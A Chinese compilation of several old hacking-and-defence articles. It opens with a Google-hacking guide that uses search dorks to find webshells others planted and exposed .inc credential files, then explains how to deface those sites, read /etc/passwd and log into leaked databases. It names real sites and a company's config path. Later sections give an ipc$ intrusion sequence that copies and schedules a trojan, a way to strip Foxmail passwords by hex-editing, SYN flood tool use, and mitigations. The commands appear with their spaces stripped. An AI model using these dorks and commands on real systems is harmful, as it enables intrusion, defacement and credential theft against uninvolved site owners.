利用Google进行入侵的原理及防范

今天向大家讲述的是Google的又一功能:利用搜索引擎快速查找存在脆弱性的主机以及包含敏感数据的信息,甚至可以直接进行傻瓜入侵……
2004年在拉斯维加斯举行的BlackHat大会上,有两位安全专家分别作了名为You found that on google?和google attacks的主题演讲。经过安全焦点论坛原版主WLJ翻译整理后,个人觉得有必要补充完善一些细节部分。今天向大家讲述的是Google的又一功能:利用搜索引擎快速查找存在脆弱性的主机以及包含敏感数据的信息,甚至可以直接进行傻瓜入侵。
  用google来进行.渗透测试.
  如今的渗透测试人员在实施攻击之前,往往会先进行信息搜集工作,而后才是漏洞确认和最终的漏洞利用、扩大战果。在这里我们现在要谈的是:
  一、利用google查找被人安装了php web shell后门的主机,并测试能否使用;
  二、利用google查找暴露出来的INC敏感信息。
  OK,现在我们开始:
  1、查找利用phpwebshell
  我们在google的搜索框中填入:
Code:
intitle:"phpshell*""Enablestderr"filetype:php
  (注:intitle—网页标题Enablestderr—UNIX标准输出和标准错误的缩写filetype—文件类型)。搜索结果中,你能找到很多直接在机器上执行命令的webshell来。如果找到的PHPSHELL不会利用,如果你不熟悉UNIX,可以直接看看LIST,这里就不详细说了,有很多利用价值。要说明的是,我们这里搜索出来的一些国外的PHPSHELL上都要使用UNIX命令,都是system调用出来的函数(其实用百度及其他搜索引擎都可以,只是填写搜索的内容不同)。通过我的检测,这个PHPWEBSHELL是可以直接Echo(Unix常用命令)。一句话就把首页搞定了:
Code:
echo"召唤">index.jsp
  在得到的
Code:
echo\
后再写上:"召唤"
现在看看首页,已经被我们改成:"召唤"了。
我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后executeCommand输入:
catfile>index.htmlorecho"">file
echo"test">>file
这样一条条打出来,站点首页就成功被替换了。同样的也可以
Code:
uname-a;cat/etc/passwd
不过有点要注意,有些WEBSHELL程序有问题,执行不了的,比如:
http://***www.al3toof.com/card/smal...c_html&command=
http://***ramsgaard.net/upload/shell.php
这些站的php是globalregisteroff
解决方案:
  我们可以利用相关工具进行在互联网进行搜索,如果有信息被滥用,到http://***www.google.com/remove.html提交你希望删除的信息,控制搜索引擎机器人的查询。
  2、搜索INC敏感信息
  我们在google的搜索框中填入:
Code:
.orgfiletype:inc
  我们现在搜索的是org域名的站点的INC信息(因为google屏蔽掉了搜索"COM"信息,我们还可以搜其他gov,cn,info,tw,jp,edu等等之类的)
  PS:我在看许多PHP编程人员在编程时候,都喜欢把一些常写的代码或配臵信息,写在一个.inc的文件中,如shared.inc、global.inc、conn.inc等等,当然这是一个很好的习惯,包括PHP官方网站都是如此,但不知你有没有注意到这里面含一个安全隐患问题。我有一次在写一个PHP代码时,无意中写错了一句话,当我在浏览器里查看此
PHP文件时,竟然发现屏幕详细的显示了我所出错的PHP文件路径及代码行。(PHP错误显示配臵是开着的。此功能在PHP里是默认的!),这就是说当我们无意写错代码(同样.inc文件也一样)或者PHP代码解析出问题时,而PHP错误显示又是开着的,客户端的用户就会看到具体url地址的.inc文件,而.url文件如同txt文本一样,当在浏览器中浏览时,就毫无保留地显示了它的内容,而且不少站点在.inc文件写了重要的信息如用户密码之类!包括国内著名海尔公司以及嘉铃摩托公司,我之所以敢公布是因为我本人测试过,http://***www.haier.com/su***/inc/conn.inc暴出的数据库ID密码用客户端连不上去,网站关闭了1215,而且防火墙也过滤掉了。
  INC的知识说完后,我们继续又搜索到了好多,找到一个暴露了MYSQL口令的,我们又可以用客户端登陆上去修改数据了。这里涉及到数据库的知识,我们不谈太多,关于"INC暴露敏感信息"就到这里结束吧;当然我们可以通过一些办法解决:
  1,你可以专门对.inc文件进行配臵,避免用户直接获取源文件。
  2,当然比较好的方法是,加上并且改文件扩展名为.php(PHP可以解析的扩展名),这样客户端就不会获取源文件了。
  这里,我将FreeMind绘制的图片用文本表示了。
  有关GoogleHack的详细信息,帮助我们分析踩点
  连接符:
Code:
+-:.*│
  操作符:
Code:
"foo1foo2"
filetype:123
site:foo.com
intext:foo
intitle:footitle
allinurl:foo
密码相关
Code:
:.indexof.
htpasswd/passwd
filetype:xlsusernamepasswordemail
"ws_ftp.log"
"config.php"
allinurl:adminmdb
servicefiletype:pwd(frontpage)
  敏感信息:
Code:
"robots.tx"
"disallow:"
filetype:txt
inurl:_vti_cnf(frontpagefiles)
allinurl:/msadc/samples/selector/showcode.asp
allinurl:/examples/jsp/snp/snoop.jsp
allinurl:phpsysinfo
ipsecfiletype:conf
intitle:"erroroccurred"odbcrequestwhere(select│insert)
"mydomain.com"nessusreport
"reportgeneratedby"
  结尾:
  如果要拿ROOT权限就要具体问题具体分析了,不过有了SHELL权限就好提了,网上有很多根据WEBSHELL提升权限的文章大家可以参照一下。
通过google我们还可以搜索到很多有用的东西,不过是细节,要通过信息收集慢慢分析、扩大、进行入侵。这些我就不具体分析了。给大家个思路,大家慢慢研究好了到这里,这篇文章就要结束了,写这篇文章的目的是为了引起大家的关注与重视,了解新的HACK手段,了解新的防护方法,事物都有两面性,在当今Google盛行的时代,在充分利用google的同时,也应该看得更全面。
 
浅谈黑客入侵的4条途径
要想有效的防范黑客对我们电脑的入侵和破坏,仅仅被动的安装防火墙是显然不够的……
孙子兵法上说,知己知彼,百战不殆。要想有效的防范黑客对我们电脑的入侵和破坏,仅仅被动的安装防火墙是显然不够的,我们更应该了解一些常见的黑客入侵手法,针对不同的方法采取不同的措施,做到有的放矢。
  1、木马入侵
  木马也许是广大电脑爱好者最深恶痛绝的东东了,相信不少朋友都受到过它的骚扰。木马有可能是黑客在已经获取我们操作系统可写权限的前提下,由黑客上传的(例如下面会提到的ipc$共享入侵);也可能是我们浏览了一些垃圾个人站点而通过网页浏览感染的(利用了IE漏洞);当然,最多的情况还是我们防范意识不强,随便运行了别人发来的所谓的mm图片、好看的动画之类的程序或者是在不正规的网站上随便下载软件使用。
  应对措施:提高防范意识,不要随意运行别人发来的软件。安装木马查杀软件,及时更新木马特征库。推荐使用thecleaner,木马克星。
  2、ipc$共享入侵
  微软在win2000,xp中设臵的这个功能对个人用户来说几乎毫无用处。反而成了黑客入侵nt架构操作系统的一条便利通道。如果你的操作系统存在不安全的口令,那就更可怕了。一条典型的入侵流程如下:
  (1)用任何办法得到一个帐户与口令(猜测,破解),网上流传有一个叫做smbcrack的软件就是利用ipc$来破解帐户口令的。如果
你的密码位数不高,又很简单,是很容易被破解的。根据我的个人经验,相当多的人都将administrator的口令设为123,2003,或者干脆不设密码。
  (2)使用命令netuse\\xxx.xxx.xxx.xxx\ipc$.密码./user:.用户名.建立一个有一定权限的ipc$连接。用copytrojan.exe\\xxx.xxx.xxx.xxx\admin$将木马程序的服务器端复制到系统目录下。
  (3)用nettime\\xxx.xxx.xxx.xxx命令查看对方操作系统的时间,然后用at\\202.xxx.xxx.xxx12:00trojan.exe让trojan.exe在指定时间运行。
  这样一来,你的电脑就完全被黑客控制了。
  应对措施:禁用server服务,TaskScheduler服务,去掉网络文件和打印机共享前的对勾。
当然,给自己的帐户加上强壮的口令才是最关键的。
3、IIS漏洞入侵
  由于宽带越来越普及,给自己的win2000或是xp装上简单易学的iis,搭建一个不定时开放的ftp或是web站点,相信是不少电脑爱好者所向往的,而且应该也已经有很多人这样做了。但是iis层出不穷的漏洞实在令人担心。远程攻击者只要使用webdavx3这个漏洞攻击程序和telnet命令就可以完成一次对iis的远程攻击。
  这里的systen32就指的是对方机器的系统文件夹了,也就是说黑客此刻执行的任何命令,都是在被入侵的机器上运行的。这个时候如
果执行format命令,危害就可想而知了,用netuser命令添加帐户也是轻而易举的。
  应对措施:关注微软官方站点,及时安装iis的漏洞补丁。
  4、网页恶意代码入侵
  在我们浏览网页的时候不可避免的会遇到一些不正规的网站,它们经常会擅自修改浏览者的注册表,其直接体现便是修改IE的默认主页,锁定注册表,修改鼠标右键菜单等等。实际上绝大部分的网页恶意代码都是通过修改我们的注册表达到目的。只要保护好自己的注册表,就一切ok了。
应对措施:安装具有注册表实时监控功能的防护软件,做好注册表的备份工作。禁用RemoteRegistryService服务,不要上一些不该上的网站。这里我推荐大家使用hackereliminator这款防火墙。
 
Foxmail账户入侵原理及防范方法
防黑刀最近接到黄花菜.报案.:他使用Foxmail收发邮件,而且还设臵了密码,但是朋友却抱怨黄花菜乱发邮件,而黄花菜根本就没有给他们发送邮件,觉得非常冤枉啊!而且黄花菜还发现自己的邮件好像被删除了几封,到底是怎么回事呢,邮箱有密码怎么还是被人破解了呢?.黄花菜.百思不得其解……
案情分析:几种解除Foxmail口令.武装.的方法
  防黑刀听完黄花菜的报案,早已心中有数了!黑客要入侵有口令的Foxmail账户,方法有很多,但是他们是如何做到.来无影,去无
踪.的呢?大家知道,安装Foxmail后,会在其安装目录下生成一个Mail文件夹,里面有许多以账户名命名的文件夹,例如打开其中的.li.文件夹,里边有个名为.account.stg.的文件,这个文件就是设臵的口令的加密文件,也是破解Foxmail账户口令的关键。
  遗忘Foxmail口令后,用户通常是到别的地方复制一个未加口令的.account.stg.到你忘记了密码的账户目录里,直接覆盖该目录下原来的.account.stg.文件。这样就不会再向你问口令了,直接就可以进入该信箱!或者进入Mail文件夹下你的账户名对应的文件夹,将其中的.account.stg.文件更名或删除,然后运行Foxmail,此时不需要任何密码也可以进入该邮箱!
  但黑客显然不是使用的这种方法,因为这样被攻击的用户就会发现有人破解过他的邮箱。既破解了他人的账户,又让用户不能察觉,长期对之进行.监控.,黑客是如何.作案.的?下面防黑刀就为你分析攻击者使用的高超方法。
突击侦破:他们用UltraEdit破解了有口令的Foxmail账户
  要达到.来无影,去无踪.的攻击效果,黑手经常会使用一个工具——16进制文件编辑器,因为这类软件可以打开并修改EXE或者DLL文件中的16进制代码。这类软件常用的有UltraEdit-32、WinHex等,下面以UltraEdit-32为例,看看黑客是如何动手的。
  资深黑客可以使用UltraEdit自由定制自己的应用程序,真正做到随心所欲地使用软件。下面就看看他们是如何利用这个道具来破解有口令的Foxmail账户:首先他们会运行UltraEdit,单击工具栏上的
.打开.,在出现的对话框中找到被攻击的Foxmail账户下对应的文件夹中的.account.stg.文件。
  打开后的文件在UltraEdit-32中共分三列:左边的为偏移地址,其实可以理解为打开文件的序号;最关键的就是中间部分,也就是.account.stg.的16进制代码;右边显示的是每组16进制代码对应的ASCII代码,在编辑框中,偏移地址为.00000F89.到.00000FAF.对应的16进制数据就是经过加密的Foxmail账户密码(黑客会把这些数据都记录下来,后面还要使用),只要将这些代码全部改为16进制数据.00.,最后保存修改后的结果退出,此时该账户前的代表有口令的.小锁头.就没有了。黑客就这么轻易地解除了黄花菜的账户密码。
提示:在开始修改前以及修改过程中黑客会关掉Foxmail,否则修改时一定会出错!
  经过上面的操作,已经解除了Foxmail账户的密码,黑客就可以.探囊取物.般地查看他们的.猎物.了!他们可以像查看自己的邮箱一样打开任何邮件进行任何操作。但是如果这样必然让被攻击的用户有所察觉,高明的黑客会做到无声无息,他们通常还需要利用上面记录下来的被修改的16进制代码。
  最后他们会关闭Foxmail,再次用UltraEdit-32打开这个被修改后的.account.stg.文件,将刚才修改的地方再次用前面记录下的数据进行还原,这样,被攻击的用户一点都不会发现,除非黑客删除了被攻击者的邮件或者冒名给他的好友发送了邮件。通过以上方法,黑客
就.神不知,鬼不觉.地入侵了别人的Foxmail账户,然后还可以.全身而退.!
  看来黄花菜遇着的还是比较初级的黑客,要不然会长期监控黄花菜而不留下任何蛛丝马迹的!
防黑刀支招:如何防范账户口令被破解
  看了前面介绍的黑客攻击的几种方法,黄花菜更是整天担心自己的账户被攻击而不敢使用Foxmail!其实大可不必,下面的方案就能有效防范Foxmail账户口令被别人破解。
  如果你是自己单独用一台电脑,则完全不用担心有人会用这些方法来查看你的邮件,因为这些方法都必须在你的电脑上进行操作才行。但是如果你是和别人共用一台电脑,或者是在网吧或学校、单位机房上网,那就需要当心!
  1、首先,重要信息与信件最好另行备份。
  2、然后将你的账户所对应的文件夹删除,或者在建立账户时,邮箱路径不要选择默认的,输入一个让人猜想不到的位臵,如C:\WINNT\system32,在系统文件夹下,估计一般人都不大敢动。
  3、你还可以在找到你新建的信箱文件夹后,点击鼠标右键,在弹出菜单中选择.属性.,将文件夹设为.隐藏.,别人要找你的文件夹也就更费力气了。
  4、此外,你也可以使用WinZip等压缩软件对邮箱文件夹进行压缩,对压缩后的文件加上一个比较复杂的访问口令,使用时将它展开,使用完毕再如法炮制即可。
  5、为防止别人查看你的Foxmail安装文件夹,你也可以使用一些加密软件将整个文件夹进行加密。
有了以上的种种安全措施,黄花菜使用Foxmail时再也不用提心吊胆啦,以前的担心真变成了.明日黄花.。
 
SYN攻击原理以及防范技术
TCP握手协议
SYN攻击原理
SYN攻击工具
检测SYN攻击
SYN攻击防范技术
据统计,在所有黑客攻击事件中,SYN攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
  一、TCP握手协议
  在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
  第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),
同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
  第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
  完成三次握手,客户端与服务器开始传送数据,在上述过程中,还有一些重要的概念:
  未连接队列:在三次握手协议中,服务器维护一个未连接队列,该队列为每个客户端的SYN包(syn=j)开设一个条目,该条目表明服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的连接在服务器处于Syn_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。Backlog参数:表示未连接队列的最大容纳数目。
  SYN-ACK重传次数:服务器发送完SYN-ACK包,如果未收到客户确认包,服务器进行首次重传,等待一段时间仍未收到客户确认包,进行第二次重传,如果重传次数超过系统规定的最大重传次数,系统将该连接信息从半连接队列中删除。注意,每次重传等待的时间不一定相同。
  半连接存活时间:是指半连接队列的条目存活的最长时间,也即服务从收到SYN包到确认这个报文无效的最长时间,该时间值是所有重传请求包的最长等待时间总和。有时我们也称半连接存活时间为Timeout时间、SYN_RECV存活时间。
二、SYN攻击原理
  SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。SYN攻击除了能影响主机外,还可以危害路由器、防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,只要这些系统打开TCP服务就可以实施。服务器接收到连接请求(syn=j),将此信息加入未连接队列,并发送请求包给客户(syn=k,ack=j+1),此时进入SYN_RECV状态。当服务器未收到客户端的确认包时,重发请求包,一直到超时,才将此条目从未连接队列删除。配合IP欺骗,SYN攻击能达到很好的效果,通常,客户端在短时间内伪造大量不存在的IP地址,向服务器不断地发送syn包,服务器回复确认包,并等待客户的确认,由于源地址是不存在的,服务器需要不断的重发直至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
  三、SYN攻击工具
  SYN攻击实现起来非常的简单,互联网上有大量现成的SYN攻击工具。
  1、windows系统下的SYN工具
  以synkill.exe为例,运行工具,选择随机的源地址和源端口,并填写目标机器地址和TCP端口,激活运行,很快就会发现目标系统运行缓慢。如果攻击效果不明显,可能是目标机器并未开启所填写的TCP端口或者防火墙拒绝访问该端口,此时可选择允许访问的TCP
端口,通常,windows系统开放tcp139端口,UNIX系统开放tcp7、21、23等端口。
  四、检测SYN攻击
  检测SYN攻击非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN攻击。我们使用系统自带的netstat工具来检测SYN攻击:
  #netstat-n-pTCP
  tcp 0 010、11、11、11:23  124、173、152、8:25882 SYN_RECV -
  tcp 0 010、11、11、11:23  236、15、133、204:2577 SYN_RECV -
  tcp 0 010、11、11、11:23  127、160、6、129:51748 SYN_RECV -
  tcp 0 010、11、11、11:23  222、220、13、25:47393 SYN_RECV -
  tcp 0 010、11、11、11:23  212、200、204、182:60427SYN_RECV -
  tcp 0 010、11、11、11:23  232、115、18、38:278  SYN_RECV -
  tcp 0 010、11、11、11:23  239、116、95、96:5122  SYN_RECV -
  tcp 0 010、11、11、11:23  236、219、139、
207:49162SYN_RECV -
  、、、
  上面是在LINUX系统中看到的,很多连接处于SYN_RECV状态(在WINDOWS系统中是SYN_RECEIVED状态),源IP地址都是随机的,表明这是一种带有IP欺骗的SYN攻击。
  我们也可以通过下面的命令直接查看在LINUX环境下某个端口的未连接队列的条目数:
  #netstat-n-pTCP|grepSYN_RECV|grep:22|wc-l
  324
  显示TCP端口22的未连接数有324个,虽然还远达不到系统极限,但应该引起管理员的注意。
五、SYN攻击防范技术
  关于SYN攻击防范技术,人们研究得比较早。归纳起来,主要有两大类,一类是通过防火墙、路由器等过滤网关防护,另一类是通过加固TCP/IP协议栈防范,但必须清楚的是,SYN攻击不能完全被阻止,我们所做的是尽可能的减轻SYN攻击的危害,除非将TCP协议重新设计。
  1、过滤网关防护
  这里,过滤网关主要指明防火墙,当然路由器也能成为过滤网关。防火墙部署在不同网络之间,防范外来非法攻击和防止保密信息外泄,它处于客户端和服务器之间,利用它来防护SYN攻击能起到很好的效果。过滤网关防护主要包括超时设臵,SYN网关和SYN代理
三种。
  网关超时设臵:防火墙设臵SYN转发超时参数(状态检测的防火墙可在状态表里面设臵),该参数远小于服务器的timeout时间。当客户端发送完SYN包,服务端发送确认包后(SYN+ACK),防火墙如果在计数器到期时还未收到客户端的确认包(ACK),则往服务器发送RST包,以使服务器从队列中删去该半连接。值得注意的是,网关超时参数设臵不宜过小也不宜过大,超时参数设臵过小会影响正常的通讯,设臵太大,又会影响防范SYN攻击的效果,必须根据所处的网络应用环境来设臵此参数。
  SYN网关:SYN网关收到客户端的SYN包时,直接转发给服务器;SYN网关收到服务器的SYN/ACK包后,将该包转发给客户端,同时以客户端的名义给服务器发ACK确认包。此时服务器由半连接状态进入连接状态。当客户端确认包到达时,如果有数据则转发,否则丢弃。事实上,服务器除了维持半连接队列外,还要有一个连接队列,如果发生SYN攻击时,将使连接队列数目增加,但一般服务器所能承受的连接数量比半连接数量大得多,所以这种方法能有效地减轻对服务器的攻击。
  SYN代理:当客户端SYN包到达过滤网关时,SYN代理并不转发SYN包,而是以服务器的名义主动回复SYN/ACK包给客户,如果收到客户的ACK包,表明这是正常的访问,此时防火墙向服务器发送ACK包并完成三次握手。SYN代理事实上代替了服务器去处理SYN攻击,此时要求过滤网关自身具有很强的防范SYN攻击能力。
  2、加固tcp/ip协议栈
  防范SYN攻击的另一项主要技术是调整tcp/ip协议栈,修改tcp协议实现。主要方法有SynAttackProtect保护机制、SYNcookies技术、增加最大半连接和缩短超时时间等。tcp/ip协议栈的调整可能会引起某些功能的受限,管理员应该在进行充分了解和测试的前提下进行此项工作。
(1)SynAttackProtect机制
  为防范SYN攻击,win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制,Win2003系统也采用此机制。SynAttackProtect机制是通过关闭某些socket选项,增加额外的连接指示和减少超时时间,使系统能处理更多的SYN连接,以达到防范SYN攻击的目的。默认情况下,Win2000操作系统并不支持SynAttackProtect保护机制,需要在注册表以下位臵增加SynAttackProtect键值:
  HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
  当SynAttackProtect值(如无特别说明,本文提到的注册表键值都为十六进制)为0或不设臵时,系统不受SynAttackProtect保护。
  当SynAttackProtect值为1时,系统通过减少重传次数和延迟未连接时路由缓冲项(routecacheentry)防范SYN攻击。
当SynAttackProtect值为2时(Microsoft推荐使用此值),系统不仅使用backlog队列,还使用附加的半连接指示,以此来处理更多的SYN连接,使用此键值时,tcp/ip的TCPInitialRTT、windowsize和可滑动窗口将被禁止。
  我们应该知道,平时,系统是不启用SynAttackProtect机制的,仅在检测到SYN攻击时,才启用,并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢?事实上,系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。
  TcpMaxHalfOpen表示能同时处理的最大半连接数,如果超过此值,系统认为正处于SYN攻击中。Win2000 server默认值为100,Win2000 Advancedserver为500。
  TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数,如果超过此值,系统自动启动SynAttackProtect机制。Win2000 server默认值为80,Win2000 Advancedserver为400。
  TcpMaxPortsExhausted是指系统拒绝的SYN请求包的数量,默认是5。
  如果想调整以上参数的默认值,可以在注册表里修改(位臵与SynAttackProtect相同)
(2)SYNcookies技术
  我们知道,TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目,当SYN请求不断增加,吞并这个空间,致使系统丢弃SYN连接。为使半连接队列被塞满的情况下,服务器仍能处理新到的SYN请求,SYNcookies技术被设计出来。
  SYNcookies应用于linux、FreeBSD等操作系统,当半连接队列满时,SYN cookies并不丢弃SYN请求,而是通过加密技术来标识
半连接状态。
  在TCP实现中,当收到客户端的SYN请求时,服务器需要回复SYN+ACK包给客户端,客户端也要发送确认包给服务器。通常,服务器的初始序列号由服务器按照一定的规律计算得到或采用随机数,但在SYNcookies中,服务器的初始序列号是通过对客户端IP地址、客户端端口、服务器IP地址和服务器端口以及其他一些安全数值等要素进行hash运算,加密得到的,称之为cookie。当服务器遭受SYN攻击使得backlog队列满时,服务器并不拒绝新的SYN请求,而是回复cookie(回复包的SYN序列号)给客户端,如果收到客户端的ACK包,服务器将客户端的ACK序列号减去1得到cookie比较值,并将上述要素进行一次hash运算,看看是否等于此cookie。如果相等,直接完成三次握手(注意:此时并不用查看此连接是否属于backlog队列)。
  在RedHatlinux中,启用SYNcookies是通过在启动环境中设臵以下命令来完成:
  #echo1>/proc/sys/net/ipv4/tcp_syncookies
(3)增加最大半连接数
  大量的SYN请求导致未连接队列被塞满,使正常的TCP连接无法顺利完成三次握手,通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源,不能被无限的扩大。
  WIN2000:除了上面介绍的TcpMaxHalfOpen,TcpMaxHalfOpenRetried参数外,WIN2000操作系统可以通过设臵动
态backlog(dynamicbacklog)来增大系统所能容纳的最大半连接数,配臵动态backlog由AFD、SYS驱动完成,AFD、SYS是一种内核级的驱动,用于支持基于windowsocket的应用程序,比如ftp、telnet等。AFD、SYS在注册表的位臵:
HKLM\System\CurrentControlSet\Services\AFD\ParametersEnableDynamicBacklog值为1时,表示启用动态backlog,可以修改最大半连接数。
MinimumDynamicBacklog表示半连接队列为单个TCP端口分配的最小空闲连接数,当该TCP端口在backlog队列的空闲连接小于此临界值时,系统为此端口自动启用扩展的空闲连接(DynamicBacklogGrowthDelta),Microsoft推荐该值为20。
  MaximumDynamicBacklog是当前活动的半连接和空闲连接的和,当此和超过某个临界值时,系统拒绝SYN包,Microsoft推荐MaximumDynamicBacklog值不得超过2000。
  DynamicBacklogGrowthDelta值是指扩展的空闲连接数,此连接数并不计算在MaximumDynamicBacklog内,当半连接队列为某个TCP端口分配的空闲连接小于MinimumDynamicBacklog时,系统自动分配DynamicBacklogGrowthDelta所定义的空闲连接空间,以使该TCP端口能处理更多的半连接。Microsoft推荐该值为10。
  LINUX:Linux用变量tcp_max_syn_backlog定义backlog队列容纳的最大半连接数。在Redhat7.3中,该变量的值默认为256,这个值是远远不够的,一次强度不大的SYN攻击就能使半连接队列占满。
我们可以通过以下命令修改此变量的值:
  #sysctl-wnet.ipv4.tcp_max_syn_backlog="2048"
  SunSolarisSunSolaris用变量tcp_conn_req_max_q0来定义最大半连接数,在SunSolaris8中,该值默认为1024,可以通过add命令改变这个值:
  #ndd-set /dev/tcptcp_conn_req_max_q0 2048
  HP-UX:HP-UX用变量tcp_syn_rcvd_max来定义最大半连接数,在HP-UX 11、00中,该值默认为500,可以通过ndd命令改变默认值:
  #ndd-set /dev/tcptcp_syn_rcvd_max 2048
(4)缩短超时时间
  上文提到,通过增大backlog队列能防范SYN攻击;另外减少超时时间也使系统能处理更多的SYN请求。我们知道,timeout超时时间,也即半连接存活时间,是系统所有重传次数等待的超时时间总和,这个值越大,半连接数占用backlog队列的时间就越长,系统能处理的SYN请求就越少。为缩短超时时间,可以通过缩短重传超时时间(一般是第一次重传超时时间)和减少重传次数来实现。
  Win2000第一次重传之前等待时间默认为3秒,为改变此默认值,可以通过修改网络接口在注册表里的TcpInitialRtt注册值来完成。重传次数由TcpMaxConnectResponseRetransmissions来定义,注册表的位臵是:HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parametersregistryk
ey。
  当然我们也可以把重传次数设臵为0次,这样服务器如果在3秒内还未收到ack确认包就自动从backlog队列中删除该连接条目。
  LINUX:Redhat使用变量tcp_synack_retries定义重传次数,其默认值是5次,总超时时间需要3分钟。
SunSolarisSolaris 默认的重传次数是3次,总超时时间为3分钟,可以通过ndd命令修改这些默认值。
 
黑客Web欺骗的工作原理和解决方案
本文描述Internet上的一种安全攻击,它可能侵害到WWW用户的隐私和数据完整性。这种攻击可以在现有的系统上实现,危害最普通的Web浏览器用户,包括Netscape Navigator和Microsoft InternetExplorer用户。
  允许攻击者创造整个WWW世界的影像拷贝。影像Web的入口进入到攻击者的Web服务器,经过攻击者机器的过滤作用,允许攻击者监控受攻击者的任何活动,包括帐户和口令。攻击者也能以受攻击者的名义将错误或者易于误解的数据发送到真正的Web服务器,以及以任何Web服务器的名义发送数据给受攻击者。简而言之,攻击者观察和控制着受攻击者在Web上做的每一件事。
  欺骗攻击
  在一次欺骗攻击中,攻击者创造一个易于误解的上下文环境,以诱使受攻击者进入并且做出缺乏安全考虑的决策。欺骗攻击就像是一
场虚拟游戏:攻击者在受攻击者的周围建立起一个错误但是令人信服的世界。如果该虚拟世界是真实的话,那么受攻击者所做的一切都是无可厚非的。但遗憾的是,在错误的世界中似乎是合理的活动可能会在现实的世界中导致灾难性的后果。
  欺骗攻击在现实的电子交易中也是常见的现象。例如,我们曾经听说过这样的事情:一些西方罪犯分子在公共场合建立起虚假的ATM取款机,该种机器可以接受ATM卡,并且会询问用户的PIN密码。一旦该种机器获得受攻击者的PIN密码,它会要么.吃卡.,要么反馈.故障.,并返回ATM卡。不论哪一种情况,罪犯都会获得足够的信息,以复制出一个完全一样的ATM卡。后面的事情大家可想而知了。在这些攻击中,人们往往被所看到的事物所愚弄:ATM取款机所处的位臵,它们的外形和装饰,以及电子显示屏的内容等等。
  人们利用计算机系统完成具有安全要求的决策时往往也是基于其所见。例如,在访问网上银行时,你可能根据你所见的银行Web页面,从该行的帐户中提取或存入一定数量的存款。因为你相信你所访问的Web页面就是你所需要的银行的Web页面。无论是页面的外观、URL地址,还是其他一些相关内容,都让你感到非常熟悉,没有理由不相信。但是,你很可能是在被愚弄。
Web欺骗的两个组成部分
  为了分析可能出现欺骗攻击的范围和严重性,我们需要深入研究关于Web欺骗的两个部分:安全决策和暗示。
  安全决策
  安全决策,这里指的是会导致安全问题的一类决策。这类决策往往都含有较为敏感的数据,也就是意味着一个人在做出决策时,可能会因为关键数据的泄露,导致不受欢迎的结果。很可能发生这样的事情:第三方利用各类决策数据攻破某种秘密,进行破坏活动,或者导致不安全的后果。例如,在某种场合输入帐户和密码,就是我们在此谈到的安全决策问题。因为帐户和密码的泄露会产生我们不希望发生的问题。此外,从Internet上下载文件也是一类安全决策问题。不能否认,在下载的文件当中可能会包含有恶意破坏的成分,尽管这样的事情不会经常发生。
  安全决策问题无处不在,甚至在我们通过阅读显示信息做出决策时,也存在一个关于信息准确性的安全决策问题。例如,如果你决定根据网上证券站点所提供的证券价格购买某类证券时,那么你必须确保所接收信息的准确性。如果有人故意提供不正确的证券价格,那么不可避免地会有人浪费自己的财富。
  暗示
  WWW站点提供给用户的是丰富多彩的各类信息,人们通过浏览器任意翻阅网页,根据得到的上下文环境来做出相应的决定。Web页面上的文字、图画与声音可以给人以深刻的印象,也正是在这种背景下,人们往往能够判断出该网页的地址。例如,一个特殊标识的存在一般意味着处于某个公司的Web站点。
  我们都知道目标的出现往往传递着某种暗示。在计算机世界中,我们往往都习惯于各类图标、图形,它们分别代表着各类不同的含义。
富有经验的浏览器用户对某些信息的反应就如同富有经验的驾驶员对交通信号和标志做出的反应一样。
  目标的名字能传达更为充分的信息。人们经常根据一个文件的名称来推断它是关于什么的。manual.doc是用户手册的正文吗?它完全可以是另外一个文件种类,而不是用户手册一类的文档。一个microsoft.com的链接难道就一定指向我们大家都知道的微软公司的URL地址吗?显然可以偷梁换柱,改向其他地址。
  人们往往还会在时间的先后顺序中得到某种暗示。如果两个事件同时发生,你自然地会认为它们是有关联的。如果在点击银行的网页时,username对话框同时出现了,你自然地会认为你应该输入你在该银行的帐户与口令。如果你在点击了一个文档链接后,立即就开始了下载,那么你很自然地会认为该文件正从该站点下载。然而,以上的想法不一定都是正确的。
  如果你仅仅看到一个弹出窗口,那么你会和一个可视的事件联系起来,而不会认识到一个隐藏在窗口背后的不可视的事件。现代的用户接口程序设计者花费很大的精力来设计简单易懂的界面,人们感受到了方便,但潜在的问题是人们可能习惯于此,不可避免地被该种暗示所欺骗。
Web欺骗的欺骗手段
  TCP和DNS欺骗
  除了我们将要讨论的欺骗手段外,还有一些其他手段,在这里我们将不做讨论。这种攻击的例子包括TCP欺骗(在TCP包中使用伪
造的IP地址)以及DNS欺骗(攻击者伪造关于机器名称和网络信息)。读者有兴趣可以阅读有关资料。
  Web欺骗
